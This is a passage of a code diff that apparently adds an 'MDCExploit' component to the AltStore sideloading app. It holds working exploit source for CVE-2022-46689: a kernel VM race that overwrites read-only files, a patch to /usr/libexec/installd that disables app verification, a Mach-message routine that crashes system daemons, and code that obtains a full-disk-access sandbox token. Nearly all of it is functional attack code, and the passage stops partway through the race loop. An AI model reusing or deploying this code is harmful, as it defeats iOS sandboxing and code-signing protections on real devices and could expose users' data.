code:5
|
||||
userInfo:@{NSLocalizedDescriptionKey : @"Can't patchfind."}]);
|
||||
return;
|
||||
}
|
||||
|
||||
if (!over_write_file(fd, sourceData)) {
|
||||
over_write_file(fd, originalData);
|
||||
munmap(targetMap, targetLength);
|
||||
completion(
|
||||
nil, [NSError errorWithDomain:@"com.worthdoingbadly.fulldiskaccess"
|
||||
code:1
|
||||
userInfo:@{
|
||||
NSLocalizedDescriptionKey : @"Can't overwrite file: your device may "
|
||||
@"not be vulnerable to CVE-2022-46689."
|
||||
}]);
|
||||
return;
|
||||
}
|
||||
munmap(targetMap, targetLength);
|
||||
|
||||
// crash_with_xpc_thingy("com.apple.tccd");
|
||||
|
||||
sleep(1);
|
||||
call_tcc_daemon(^(NSString* _Nullable extension_token) {
|
||||
over_write_file(fd, originalData);
|
||||
// crash_with_xpc_thingy("com.apple.tccd");
|
||||
NSError* returnError = nil;
|
||||
if (extension_token == nil) {
|
||||
returnError =
|
||||
[NSError errorWithDomain:@"com.worthdoingbadly.fulldiskaccess"
|
||||
code:2
|
||||
userInfo:@{
|
||||
NSLocalizedDescriptionKey : @"no extension token returned."
|
||||
}];
|
||||
} else if (![extension_token containsString:@"com.apple.app-sandbox.read-write"]) {
|
||||
returnError = [NSError
|
||||
errorWithDomain:@"com.worthdoingbadly.fulldiskaccess"
|
||||
code:3
|
||||
userInfo:@{
|
||||
NSLocalizedDescriptionKey : @"failed: returned a media library token "
|
||||
@"instead of an app sandbox token."
|
||||
}];
|
||||
extension_token = nil;
|
||||
}
|
||||
completion(extension_token, returnError);
|
||||
});
|
||||
}
|
||||
|
||||
void grant_fda(void (^completion)(NSError* _Nullable)) {
|
||||
if (!NSClassFromString(@"NSPresentationIntent")) {
|
||||
// class introduced in iOS 15.0.
|
||||
// TODO(zhuowei): maybe check the actual OS version instead?
|
||||
completion([NSError
|
||||
errorWithDomain:@"com.worthdoingbadly.fulldiskaccess"
|
||||
code:6
|
||||
userInfo:@{
|
||||
NSLocalizedDescriptionKey :
|
||||
@"Not supported on iOS 14 and below."
|
||||
}]);
|
||||
return;
|
||||
}
|
||||
NSURL* documentDirectory = [NSFileManager.defaultManager URLsForDirectory:NSDocumentDirectory
|
||||
inDomains:NSUserDomainMask][0];
|
||||
NSURL* sourceURL =
|
||||
[documentDirectory URLByAppendingPathComponent:@"fda_token.txt"];
|
||||
NSError* error = nil;
|
||||
NSString* cachedToken = [NSString stringWithContentsOfURL:sourceURL
|
||||
encoding:NSUTF8StringEncoding
|
||||
error:&error];
|
||||
if (cachedToken) {
|
||||
int64_t handle = sandbox_extension_consume(cachedToken.UTF8String);
|
||||
if (handle > 0) {
|
||||
// cached version worked
|
||||
completion(nil);
|
||||
return;
|
||||
}
|
||||
}
|
||||
grant_fda_impl(^(NSString* extension_token, NSError* _Nullable error) {
|
||||
if (error) {
|
||||
completion(error);
|
||||
return;
|
||||
}
|
||||
int64_t handle = sandbox_extension_consume(extension_token.UTF8String);
|
||||
if (handle <= 0) {
|
||||
completion([NSError
|
||||
errorWithDomain:@"com.worthdoingbadly.fulldiskaccess"
|
||||
code:4
|
||||
userInfo:@{NSLocalizedDescriptionKey : @"Failed to consume generated extension"}]);
|
||||
return;
|
||||
}
|
||||
[extension_token writeToURL:sourceURL
|
||||
atomically:true
|
||||
encoding:NSUTF8StringEncoding
|
||||
error:&error];
|
||||
completion(nil);
|
||||
});
|
||||
}
|
||||
|
||||
/// MARK - installd patch
|
||||
|
||||
struct daemon_remove_app_limit_offsets {
|
||||
uint64_t offset_objc_method_list_t_MIInstallableBundle;
|
||||
uint64_t offset_objc_class_rw_t_MIInstallableBundle_baseMethods;
|
||||
uint64_t offset_data_const_end_padding;
|
||||
// MIUninstallRecord::supportsSecureCoding
|
||||
uint64_t offset_return_true;
|
||||
};
|
||||
|
||||
struct daemon_remove_app_limit_offsets gAppLimitOffsets = {
|
||||
.offset_objc_method_list_t_MIInstallableBundle = 0x519b0,
|
||||
.offset_objc_class_rw_t_MIInstallableBundle_baseMethods = 0x804e8,
|
||||
.offset_data_const_end_padding = 0x79c38,
|
||||
.offset_return_true = 0x19860,
|
||||
};
|
||||
|
||||
static uint64_t pchfind_find_rwt_base_methods(void* execmap,
|
||||
size_t executable_length,
|
||||
const char* needle) {
|
||||
void* str_offset = memmem(execmap, executable_length, needle, strlen(needle) + 1);
|
||||
if (!str_offset) {
|
||||
return 0;
|
||||
}
|
||||
uint64_t str_file_offset = str_offset - execmap;
|
||||
for (int i = 0; i < executable_length - 8; i += 8) {
|
||||
uint64_t val = *(uint64_t*)(execmap + i);
|
||||
if ((val & 0xfffffffful) != str_file_offset) {
|
||||
continue;
|
||||
}
|
||||
// baseMethods
|
||||
if (*(uint64_t*)(execmap + i + 8) != 0) {
|
||||
return i + 8;
|
||||
}
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
|
||||
static uint64_t pchfind_returns_true(void* execmap, size_t executable_length) {
|
||||
// mov w0, #1
|
||||
// ret
|
||||
static const char needle[] = {0x20, 0x00, 0x80, 0x52, 0xc0, 0x03, 0x5f, 0xd6};
|
||||
void* offset = memmem(execmap, executable_length, needle, sizeof(needle));
|
||||
if (!offset) {
|
||||
return 0;
|
||||
}
|
||||
return offset - execmap;
|
||||
}
|
||||
|
||||
static bool pchfind_deaaamon(void* execmap, size_t executable_length,
|
||||
struct daemon_remove_app_limit_offsets* offsets) {
|
||||
struct segment_command_64* data_const_segment = nil;
|
||||
struct symtab_command* symtab_command = nil;
|
||||
struct dysymtab_command* dysymtab_command = nil;
|
||||
if (!pchfind_sections(execmap, &data_const_segment, &symtab_command,
|
||||
&dysymtab_command)) {
|
||||
// printf("no sections\n");
|
||||
return false;
|
||||
}
|
||||
if ((offsets->offset_data_const_end_padding = pchfind_get_padding(data_const_segment)) == 0) {
|
||||
// printf("no padding\n");
|
||||
return false;
|
||||
}
|
||||
if ((offsets->offset_objc_class_rw_t_MIInstallableBundle_baseMethods =
|
||||
pchfind_find_rwt_base_methods(execmap, executable_length,
|
||||
"MIInstallableBundle")) == 0) {
|
||||
// printf("no MIInstallableBundle class_rw_t\n");
|
||||
return false;
|
||||
}
|
||||
offsets->offset_objc_method_list_t_MIInstallableBundle =
|
||||
(*(uint64_t*)(execmap +
|
||||
offsets->offset_objc_class_rw_t_MIInstallableBundle_baseMethods)) &
|
||||
0xffffffull;
|
||||
|
||||
if ((offsets->offset_return_true = pchfind_returns_true(execmap, executable_length)) ==
|
||||
0) {
|
||||
// printf("no return true\n");
|
||||
return false;
|
||||
}
|
||||
return true;
|
||||
}
|
||||
|
||||
struct objc_method {
|
||||
int32_t name;
|
||||
int32_t types;
|
||||
int32_t imp;
|
||||
};
|
||||
|
||||
struct objc_method_list {
|
||||
uint32_t entsizeAndFlags;
|
||||
uint32_t count;
|
||||
struct objc_method methods[];
|
||||
};
|
||||
|
||||
static void patch_cpy_methods(void* mutableBytes, uint64_t old_offset,
|
||||
uint64_t new_offset, uint64_t* out_copied_length,
|
||||
void (^callback)(const char* sel,
|
||||
uint64_t* inout_function_pointer)) {
|
||||
struct objc_method_list* original_list = mutableBytes + old_offset;
|
||||
struct objc_method_list* new_list = mutableBytes + new_offset;
|
||||
*out_copied_length =
|
||||
sizeof(struct objc_method_list) + original_list->count * sizeof(struct objc_method);
|
||||
new_list->entsizeAndFlags = original_list->entsizeAndFlags;
|
||||
new_list->count = original_list->count;
|
||||
for (int method_index = 0; method_index < original_list->count; method_index++) {
|
||||
struct objc_method* method = &original_list->methods[method_index];
|
||||
// Relative pointers
|
||||
uint64_t name_file_offset = ((uint64_t)(&method->name)) - (uint64_t)mutableBytes + method->name;
|
||||
uint64_t types_file_offset =
|
||||
((uint64_t)(&method->types)) - (uint64_t)mutableBytes + method->types;
|
||||
uint64_t imp_file_offset = ((uint64_t)(&method->imp)) - (uint64_t)mutableBytes + method->imp;
|
||||
const char* sel = mutableBytes + (*(uint64_t*)(mutableBytes + name_file_offset) & 0xffffffull);
|
||||
callback(sel, &imp_file_offset);
|
||||
|
||||
struct objc_method* new_method = &new_list->methods[method_index];
|
||||
new_method->name = (int32_t)((int64_t)name_file_offset -
|
||||
(int64_t)((uint64_t)&new_method->name - (uint64_t)mutableBytes));
|
||||
new_method->types = (int32_t)((int64_t)types_file_offset -
|
||||
(int64_t)((uint64_t)&new_method->types - (uint64_t)mutableBytes));
|
||||
new_method->imp = (int32_t)((int64_t)imp_file_offset -
|
||||
(int64_t)((uint64_t)&new_method->imp - (uint64_t)mutableBytes));
|
||||
}
|
||||
};
|
||||
|
||||
static NSData* make_installdaemon_patch(void* executableMap, size_t executableLength) {
|
||||
struct daemon_remove_app_limit_offsets offsets = {};
|
||||
if (!pchfind_deaaamon(executableMap, executableLength, &offsets)) {
|
||||
return nil;
|
||||
}
|
||||
|
||||
NSMutableData* data = [NSMutableData dataWithBytes:executableMap length:executableLength];
|
||||
char* mutableBytes = data.mutableBytes;
|
||||
uint64_t current_empty_space = offsets.offset_data_const_end_padding;
|
||||
uint64_t copied_size = 0;
|
||||
uint64_t new_method_list_offset = current_empty_space;
|
||||
patch_cpy_methods(mutableBytes, offsets.offset_objc_method_list_t_MIInstallableBundle,
|
||||
current_empty_space, &copied_size,
|
||||
^(const char* sel, uint64_t* inout_address) {
|
||||
if (strcmp(sel, "performVerificationWithError:") != 0) {
|
||||
return;
|
||||
}
|
||||
*inout_address = offsets.offset_return_true;
|
||||
});
|
||||
current_empty_space += copied_size;
|
||||
((struct
|
||||
dyld_chained_ptr_arm64e_auth_rebase*)(mutableBytes +
|
||||
offsets
|
||||
.offset_objc_class_rw_t_MIInstallableBundle_baseMethods))
|
||||
->target = new_method_list_offset;
|
||||
return data;
|
||||
}
|
||||
|
||||
bool installdaemon_patch() {
|
||||
const char* targetPath = "/usr/libexec/installd";
|
||||
int fd = open(targetPath, O_RDONLY | O_CLOEXEC);
|
||||
off_t targetLength = lseek(fd, 0, SEEK_END);
|
||||
lseek(fd, 0, SEEK_SET);
|
||||
void* targetMap = mmap(nil, targetLength, PROT_READ, MAP_SHARED, fd, 0);
|
||||
|
||||
NSData* originalData = [NSData dataWithBytes:targetMap length:targetLength];
|
||||
NSData* sourceData = make_installdaemon_patch(targetMap, targetLength);
|
||||
if (!sourceData) {
|
||||
//can't patchfind
|
||||
// NSLog(@"wuiydqw98uuqwd");
|
||||
return false;
|
||||
}
|
||||
|
||||
if (!over_write_file(fd, sourceData)) {
|
||||
over_write_file(fd, originalData);
|
||||
munmap(targetMap, targetLength);
|
||||
//can't overwrite
|
||||
// NSLog(@"wfqiohuwdhuiqoji");
|
||||
return false;
|
||||
}
|
||||
munmap(targetMap, targetLength);
|
||||
crash_with_xpc_thingy("com.apple.mobile.installd");
|
||||
sleep(1);
|
||||
|
||||
// TODO(zhuowei): for now we revert it once installd starts
|
||||
// so the change will only last until when this installd exits
|
||||
// over_write_file(fd, originalData);
|
||||
return true;
|
||||
}
|
||||
12
AltStore/MDCExploit/helping_tools.h
Normal file
12
AltStore/MDCExploit/helping_tools.h
Normal file
@@ -0,0 +1,12 @@
|
||||
#ifndef helpers_h
|
||||
#define helpers_h
|
||||
|
||||
char* get_temporary_file_location_paths(void);
|
||||
void test_nsexpressions(void);
|
||||
char* setup_temporary_file(void);
|
||||
|
||||
void crash_with_xpc_thingy(char* service_name);
|
||||
|
||||
#define ROUND_DOWN_PAGE(val) (val & ~(PAGE_SIZE - 1ULL))
|
||||
|
||||
#endif /* helpers_h */
|
||||
139
AltStore/MDCExploit/helping_tools.m
Normal file
139
AltStore/MDCExploit/helping_tools.m
Normal file
@@ -0,0 +1,139 @@
|
||||
#import <Foundation/Foundation.h>
|
||||
#include <string.h>
|
||||
#include <mach/mach.h>
|
||||
#include <dirent.h>
|
||||
|
||||
char* get_temporary_file_location_paths(void) {
|
||||
return strdup([[NSTemporaryDirectory() stringByAppendingPathComponent:@"AAAAs"] fileSystemRepresentation]);
|
||||
}
|
||||
|
||||
// create a read-only test file we can target:
|
||||
char* setup_temporary_file(void) {
|
||||
char* path = get_temporary_file_location_paths();
|
||||
// printf("path: %s\n", path);
|
||||
|
||||
FILE* f = fopen(path, "w");
|
||||
if (!f) {
|
||||
// printf("opening the tmp file failed...\n");
|
||||
return NULL;
|
||||
}
|
||||
char* buf = malloc(PAGE_SIZE*10);
|
||||
memset(buf, 'A', PAGE_SIZE*10);
|
||||
fwrite(buf, PAGE_SIZE*10, 1, f);
|
||||
//fclose(f);
|
||||
return path;
|
||||
}
|
||||
|
||||
kern_return_t
|
||||
bootstrap_look_up(mach_port_t bp, const char* service_name, mach_port_t *sp);
|
||||
|
||||
struct x_p_c_w_zerozero_t {
|
||||
mach_msg_header_t hdr;
|
||||
mach_msg_body_t body;
|
||||
mach_msg_port_descriptor_t client_port;
|
||||
mach_msg_port_descriptor_t reply_port;
|
||||
};
|
||||
|
||||
mach_port_t get_and_send_this_whatever_once_wow(mach_port_t recv) {
|
||||
mach_port_t so = MACH_PORT_NULL;
|
||||
mach_msg_type_name_t type = 0;
|
||||
kern_return_t err = mach_port_extract_right(mach_task_self(), recv, MACH_MSG_TYPE_MAKE_SEND_ONCE, &so, &type);
|
||||
if (err != KERN_SUCCESS) {
|
||||
//a=port right extraction failed: %s\n
|
||||
// printf("PREFail: %s\n", mach_error_string(err));
|
||||
return MACH_PORT_NULL;
|
||||
}
|
||||
//made so: 0x%x from recv: 0x%x\n
|
||||
// printf("ms 0x%x fr: 0x%x\n", so, recv);
|
||||
return so;
|
||||
}
|
||||
|
||||
// copy-pasted from an exploit I wrote in 2019...
|
||||
// still works...
|
||||
|
||||
// (in the exploit for this: https://googleprojectzero.blogspot.com/2019/04/splitting-atoms-in-xnu.html )
|
||||
|
||||
void crash_with_xpc_thingy(char* service_name) {
|
||||
mach_port_t client_port = MACH_PORT_NULL;
|
||||
mach_port_t reply_port = MACH_PORT_NULL;
|
||||
|
||||
mach_port_t service_port = MACH_PORT_NULL;
|
||||
|
||||
kern_return_t err = bootstrap_look_up(bootstrap_port, service_name, &service_port);
|
||||
if(err != KERN_SUCCESS){
|
||||
//unable to look up
|
||||
// printf("utluqwd %s\n", service_name);
|
||||
return;
|
||||
}
|
||||
|
||||
if (service_port == MACH_PORT_NULL) {
|
||||
//bad service port
|
||||
// printf("wih1221udq\n");
|
||||
return;
|
||||
}
|
||||
|
||||
// allocate the client and reply port:
|
||||
err = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &client_port);
|
||||
if (err != KERN_SUCCESS) {
|
||||
//port allocation failed:
|
||||
// printf("padiuhewi %s\n", mach_error_string(err));
|
||||
return;
|
||||
}
|
||||
|
||||
mach_port_t so0 = get_and_send_this_whatever_once_wow(client_port);
|
||||
mach_port_t so1 = get_and_send_this_whatever_once_wow(client_port);
|
||||
|
||||
// insert a send so we maintain the ability to send to this port
|
||||
err = mach_port_insert_right(mach_task_self(), client_port, client_port, MACH_MSG_TYPE_MAKE_SEND);
|
||||
if (err != KERN_SUCCESS) {
|
||||
//port right insertion failed:
|
||||
// printf("weediuwe %s\n", mach_error_string(err));
|
||||
return;
|
||||
}
|
||||
|
||||
err = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &reply_port);
|
||||
if (err != KERN_SUCCESS) {
|
||||
//port allocation failed:
|
||||
// printf("wuiq21d %s\n", mach_error_string(err));
|
||||
return;
|
||||
}
|
||||
|
||||
struct x_p_c_w_zerozero_t msg;
|
||||
memset(&msg.hdr, 0, sizeof(msg));
|
||||
msg.hdr.msgh_bits = MACH_MSGH_BITS_SET(MACH_MSG_TYPE_COPY_SEND, 0, 0, MACH_MSGH_BITS_COMPLEX);
|
||||
msg.hdr.msgh_size = sizeof(msg);
|
||||
msg.hdr.msgh_remote_port = service_port;
|
||||
msg.hdr.msgh_id = 'w00t';
|
||||
|
||||
msg.body.msgh_descriptor_count = 2;
|
||||
|
||||
msg.client_port.name = client_port;
|
||||
msg.client_port.disposition = MACH_MSG_TYPE_MOVE_RECEIVE; // we still keep the send
|
||||
msg.client_port.type = MACH_MSG_PORT_DESCRIPTOR;
|
||||
|
||||
msg.reply_port.name = reply_port;
|
||||
msg.reply_port.disposition = MACH_MSG_TYPE_MAKE_SEND;
|
||||
msg.reply_port.type = MACH_MSG_PORT_DESCRIPTOR;
|
||||
|
||||
err = mach_msg(&msg.hdr,
|
||||
MACH_SEND_MSG|MACH_MSG_OPTION_NONE,
|
||||
msg.hdr.msgh_size,
|
||||
0,
|
||||
MACH_PORT_NULL,
|
||||
MACH_MSG_TIMEOUT_NONE,
|
||||
MACH_PORT_NULL);
|
||||
|
||||
if (err != KERN_SUCCESS) {
|
||||
//w00t message send failed:
|
||||
// printf("ondwehu %s\n", mach_error_string(err));
|
||||
return;
|
||||
} else {
|
||||
//sent xpc w00t message\n
|
||||
// printf("wq98ywqe");
|
||||
}
|
||||
|
||||
mach_port_deallocate(mach_task_self(), so0);
|
||||
mach_port_deallocate(mach_task_self(), so1);
|
||||
|
||||
return;
|
||||
}
|
||||
370
AltStore/MDCExploit/vm_unalign_csr.c
Normal file
370
AltStore/MDCExploit/vm_unalign_csr.c
Normal file
@@ -0,0 +1,370 @@
|
||||
// from https://github.com/apple-oss-distributions/xnu/blob/xnu-8792.61.2/tests/vm/vm_unaligned_copy_switch_race.c
|
||||
// modified to compile outside of XNU
|
||||
|
||||
#include <pthread.h>
|
||||
#include <dispatch/dispatch.h>
|
||||
#include <stdio.h>
|
||||
|
||||
#include <mach/mach_init.h>
|
||||
#include <mach/mach_port.h>
|
||||
#include <mach/vm_map.h>
|
||||
|
||||
#include <fcntl.h>
|
||||
#include <sys/mman.h>
|
||||
|
||||
//vm_unaligned_copy_switch_race
|
||||
#include "vm_unalign_csr.h"
|
||||
|
||||
#define T_QUIET
|
||||
#define T_EXPECT_MACH_SUCCESS(a, b)
|
||||
#define T_EXPECT_MACH_ERROR(a, b, c)
|
||||
#define T_ASSERT_MACH_SUCCESS(a, b, ...)
|
||||
#define T_ASSERT_MACH_ERROR(a, b, c)
|
||||
#define T_ASSERT_POSIX_SUCCESS(a, b)
|
||||
#define T_ASSERT_EQ(a, b, c) do{if ((a) != (b)) { fprintf(stderr, c "\n"); exit(1); }}while(0)
|
||||
#define T_ASSERT_NE(a, b, c) do{if ((a) == (b)) { fprintf(stderr, c "\n"); exit(1); }}while(0)
|
||||
#define T_ASSERT_TRUE(a, b, ...)
|
||||
#define T_LOG(a, ...) fprintf(stderr, a "\n", __VA_ARGS__)
|
||||
#define T_DECL(a, b) static void a(void)
|
||||
#define T_PASS(a, ...) fprintf(stderr, a "\n", __VA_ARGS__)
|
||||
|
||||
struct contextual_structure {
|
||||
vm_size_t ob_sizing;
|
||||
vm_address_t vmaddress_zeroe;
|
||||
mach_port_t memory_entry_r_o;
|
||||
mach_port_t memory_entry_r_w;
|
||||
dispatch_semaphore_t currently_active_sem;
|
||||
pthread_mutex_t mutex_thingy;
|
||||
volatile bool finished;
|
||||
};
|
||||
|
||||
//switcheroo_thread
|
||||
static void *
|
||||
sro_thread(__unused void *arg)
|
||||
{
|
||||
kern_return_t kr;
|
||||
struct contextual_structure *ctx;
|
||||
|
||||
ctx = (struct contextual_structure *)arg;
|
||||
/* tell main thread we're ready to run */
|
||||
dispatch_semaphore_signal(ctx->currently_active_sem);
|
||||
while (!ctx->finished) {
|
||||
/* wait for main thread to be done setting things up */
|
||||
pthread_mutex_lock(&ctx->mutex_thingy);
|
||||
if (ctx->finished) {
|
||||
pthread_mutex_unlock(&ctx->mutex_thingy);
|
||||
break;
|
||||
}
|
||||
/* switch e0 to RW mapping */
|
||||
kr = vm_map(mach_task_self(),
|
||||
&ctx->vmaddress_zeroe,
|
||||
ctx->ob_sizing,
|
||||
0, /* mask */
|
||||
VM_FLAGS_FIXED | VM_FLAGS_OVERWRITE,
|
||||
ctx->memory_entry_r_w,
|
||||
0,
|
||||
FALSE, /* copy */
|
||||
VM_PROT_READ | VM_PROT_WRITE,
|
||||
VM_PROT_READ | VM_PROT_WRITE,
|
||||
VM_INHERIT_DEFAULT);
|
||||
T_QUIET; T_EXPECT_MACH_SUCCESS(kr, " vm_map() RW");
|
||||
/* wait a little bit */
|
||||
usleep(100);
|
||||
/* switch bakc to original RO mapping */
|
||||
kr = vm_map(mach_task_self(),
|
||||
&ctx->vmaddress_zeroe,
|
||||
ctx->ob_sizing,
|
||||
0, /* mask */
|
||||
VM_FLAGS_FIXED | VM_FLAGS_OVERWRITE,
|
||||
ctx->memory_entry_r_o,
|
||||
0,
|
||||
FALSE, /* copy */
|
||||
VM_PROT_READ,
|
||||
VM_PROT_READ,
|
||||
VM_INHERIT_DEFAULT);
|
||||
T_QUIET; T_EXPECT_MACH_SUCCESS(kr, " vm_map() RO");
|
||||
/* tell main thread we're don switching mappings */
|
||||
pthread_mutex_unlock(&ctx->mutex_thingy);
|
||||
usleep(100);
|
||||
}
|
||||
return NULL;
|
||||
}
|
||||
|
||||
//unaligned_copy_switch_race
|
||||
bool unalign_csr(int file_to_bake, off_t the_offset_of_the_file, const void* what_do_we_overwrite_this_file_with, size_t what_is_the_length_of_this_overwrite_data) {
|
||||
bool retval = false;
|
||||
pthread_t th = NULL;
|
||||
int ret;
|
||||
kern_return_t kr;
|
||||
time_t start, duration;
|
||||
#if 0
|
||||
mach_msg_type_number_t cow_read_size;
|
||||
#endif
|
||||
vm_size_t copied_size;
|
||||
int loops;
|
||||
vm_address_t e2, e5;
|
||||
struct contextual_structure context1, *ctx;
|
||||
int kern_success = 0, kern_protection_failure = 0, kern_other = 0;
|
||||
vm_address_t ro_addr, tmp_addr;
|
||||
memory_object_size_t mo_size;
|
||||
|
||||
ctx = &context1;
|
||||
ctx->ob_sizing = 256 * 1024;
|
||||
|
||||
void* file_mapped = mmap(NULL, ctx->ob_sizing, PROT_READ, MAP_SHARED, file_to_bake, the_offset_of_the_file);
|
||||
if (file_mapped == MAP_FAILED) {
|
||||
// fprintf(stderr, "failed to map\n");
|
||||
return false;
|
||||
}
|
||||
if (!memcmp(file_mapped, what_do_we_overwrite_this_file_with, what_is_the_length_of_this_overwrite_data)) {
|
||||
// fprintf(stderr, "already the same?\n");
|
||||
munmap(file_mapped, ctx->ob_sizing);
|
||||
return true;
|
||||
}
|
||||
ro_addr = (vm_address_t)file_mapped;
|
||||
|
||||
ctx->vmaddress_zeroe = 0;
|
||||
ctx->currently_active_sem = dispatch_semaphore_create(0);
|
||||
//c=dispatch_semaphore_create
|
||||
T_QUIET; T_ASSERT_NE(ctx->currently_active_sem, NULL, "wqdwqd");
|
||||
ret = pthread_mutex_init(&ctx->mutex_thingy, NULL);
|
||||
T_QUIET; T_ASSERT_POSIX_SUCCESS(ret, "pthread_mutex_init");
|
||||
ctx->finished = false;
|
||||
ctx->memory_entry_r_w = MACH_PORT_NULL;
|
||||
ctx->memory_entry_r_o = MACH_PORT_NULL;
|
||||
#if 0
|
||||
/* allocate our attack target memory */
|
||||
kr = vm_allocate(mach_task_self(),
|
||||
&ro_addr,
|
||||
ctx->ob_sizing,
|
||||
VM_FLAGS_ANYWHERE);
|
||||
T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "vm_allocate ro_addr");
|
||||
/* initialize to 'A' */
|
||||
memset((char *)ro_addr, 'A', ctx->ob_sizing);
|
||||
#endif
|
||||
|
||||
/* make it read-only */
|
||||
kr = vm_protect(mach_task_self(),
|
||||
ro_addr,
|
||||
ctx->ob_sizing,
|
||||
TRUE, /* set_maximum */
|
||||
VM_PROT_READ);
|
||||
T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "vm_protect ro_addr");
|
||||
/* make sure we can't get read-write handle on that target memory */
|
||||
mo_size = ctx->ob_sizing;
|
||||
kr = mach_make_memory_entry_64(mach_task_self(),
|
||||
&mo_size,
|
||||
ro_addr,
|
||||
MAP_MEM_VM_SHARE | VM_PROT_READ | VM_PROT_WRITE,
|
||||
&ctx->memory_entry_r_o,
|
||||
MACH_PORT_NULL);
|
||||
T_QUIET; T_ASSERT_MACH_ERROR(kr, KERN_PROTECTION_FAILURE, "make_mem_entry() RO");
|
||||
/* take read-only handle on that target memory */
|
||||
mo_size = ctx->ob_sizing;
|
||||
kr = mach_make_memory_entry_64(mach_task_self(),
|
||||
&mo_size,
|
||||
ro_addr,
|
||||
MAP_MEM_VM_SHARE | VM_PROT_READ,
|
||||
&ctx->memory_entry_r_o,
|
||||
MACH_PORT_NULL);
|
||||
T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "make_mem_entry() RO");
|
||||
//c= wrong mem_entry size
|
||||
T_QUIET; T_ASSERT_EQ(mo_size, (memory_object_size_t)ctx->ob_sizing, "uwdihiu");
|
||||
/* make sure we can't map target memory as writable */
|
||||
tmp_addr = 0;
|
||||
kr = vm_map(mach_task_self(),
|
||||
&tmp_addr,
|
||||
ctx->ob_sizing,
|
||||
0, /* mask */
|
||||
VM_FLAGS_ANYWHERE,
|
||||
ctx->memory_entry_r_o,
|
||||
0,
|
||||
FALSE, /* copy */
|
||||
VM_PROT_READ,
|
||||
VM_PROT_READ | VM_PROT_WRITE,
|
||||
VM_INHERIT_DEFAULT);
|
||||
T_QUIET; T_EXPECT_MACH_ERROR(kr, KERN_INVALID_RIGHT, " vm_map() mem_entry_rw");
|
||||
tmp_addr = 0;
|
||||
kr = vm_map(mach_task_self(),
|
||||
&tmp_addr,
|
||||
ctx->ob_sizing,
|
||||
0, /* mask */
|
||||
VM_FLAGS_ANYWHERE,
|
||||
ctx->memory_entry_r_o,
|
||||
0,
|
||||
FALSE, /* copy */
|
||||
VM_PROT_READ | VM_PROT_WRITE,
|
||||
VM_PROT_READ | VM_PROT_WRITE,
|
||||
VM_INHERIT_DEFAULT);
|
||||
T_QUIET; T_EXPECT_MACH_ERROR(kr, KERN_INVALID_RIGHT, " vm_map() mem_entry_rw");
|
||||
|
||||
/* allocate a source buffer for the unaligned copy */
|
||||
kr = vm_allocate(mach_task_self(),
|
||||
&e5,
|
||||
ctx->ob_sizing * 2,
|
||||
VM_FLAGS_ANYWHERE);
|
||||
T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "vm_allocate e5");
|
||||
/* initialize to 'C' */
|
||||
memset((char *)e5, 'C', ctx->ob_sizing * 2);
|
||||
|
||||
char* e5_overwrite_ptr = (char*)(e5 + ctx->ob_sizing - 1);
|
||||
memcpy(e5_overwrite_ptr, what_do_we_overwrite_this_file_with, what_is_the_length_of_this_overwrite_data);
|
||||
|
||||
int overwrite_first_diff_offset = -1;
|
||||
char overwrite_first_diff_value = 0;
|
||||
for (int off = 0; off < what_is_the_length_of_this_overwrite_data; off++) {
|
||||
if (((char*)ro_addr)[off] != e5_overwrite_ptr[off]) {
|
||||
overwrite_first_diff_offset = off;
|
||||
overwrite_first_diff_value = ((char*)ro_addr)[off];
|
||||
}
|
||||
}
|
||||
if (overwrite_first_diff_offset == -1) {
|
||||
//b=no diff?
|
||||
fprintf(stderr, "uewiyfih");
|
||||
return false;
|
||||
}
|
||||
|
||||
/*
|
||||
* get a handle on some writable memory that will be temporarily
|
||||
* switched with the read-only mapping of our target memory to try
|
||||
* and trick copy_unaligned to write to our read-only target.
|
||||
*/
|
||||
tmp_addr = 0;
|
||||
kr = vm_allocate(mach_task_self(),
|
||||
&tmp_addr,
|
||||
ctx->ob_sizing,
|
||||
VM_FLAGS_ANYWHERE);
|
||||
T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "vm_allocate() some rw memory");
|
||||
/* initialize to 'D' */
|
||||
memset((char *)tmp_addr, 'D', ctx->ob_sizing);
|
||||
/* get a memory entry handle for that RW memory */
|
||||
mo_size = ctx->ob_sizing;
|
||||
kr = mach_make_memory_entry_64(mach_task_self(),
|
||||
&mo_size,
|
||||
tmp_addr,
|
||||
MAP_MEM_VM_SHARE | VM_PROT_READ | VM_PROT_WRITE,
|
||||
&ctx->memory_entry_r_w,
|
||||
MACH_PORT_NULL);
|
||||
T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "make_mem_entry() RW");
|
||||
//c=wrong mem_entry size
|
||||
T_QUIET; T_ASSERT_EQ(mo_size, (memory_object_size_t)ctx->ob_sizing, "weouhdqhuow");
|
||||
kr = vm_deallocate(mach_task_self(), tmp_addr, ctx->ob_sizing);
|
||||
T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "vm_deallocate() tmp_addr 0x%llx", (uint64_t)tmp_addr);
|
||||
tmp_addr = 0;
|
||||
|
||||
pthread_mutex_lock(&ctx->mutex_thingy);
|
||||
|
||||
/* start racing thread */
|
||||
ret = pthread_create(&th, NULL, sro_thread, (void *)ctx);
|
||||
T_QUIET; T_ASSERT_POSIX_SUCCESS(ret, "pthread_create");
|
||||
|
||||
/* wait for racing thread to be ready to run */
|
||||
dispatch_semaphore_wait(ctx->currently_active_sem, DISPATCH_TIME_FOREVER);
|
||||
|
||||
duration = 10; /* 10 seconds */
|
||||
// T_LOG("Testing for %ld seconds...", duration);
|
||||
for (start = time(NULL), loops = 0;
|
||||
time(NULL) < start + duration;
|
||||
loops++) {
|
||||
/* reserve space for our 2 contiguous allocations */
|
||||
e2 = 0;
|
||||
kr = vm_allocate(mach_task_self(),
|
||||
&e2,
|
||||
2 * ctx->ob_sizing,
|
||||
VM_FLAGS_ANYWHERE);
|
||||
T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "vm_allocate to reserve e2+e0");
|
||||
|
||||
/* make 1st allocation in our reserved space */
|
||||
kr = vm_allocate(mach_task_self(),
|
||||
&e2,
|
||||
ctx->ob_sizing,
|
||||
VM_FLAGS_FIXED | VM_FLAGS_OVERWRITE | VM_MAKE_TAG(240));
|
||||
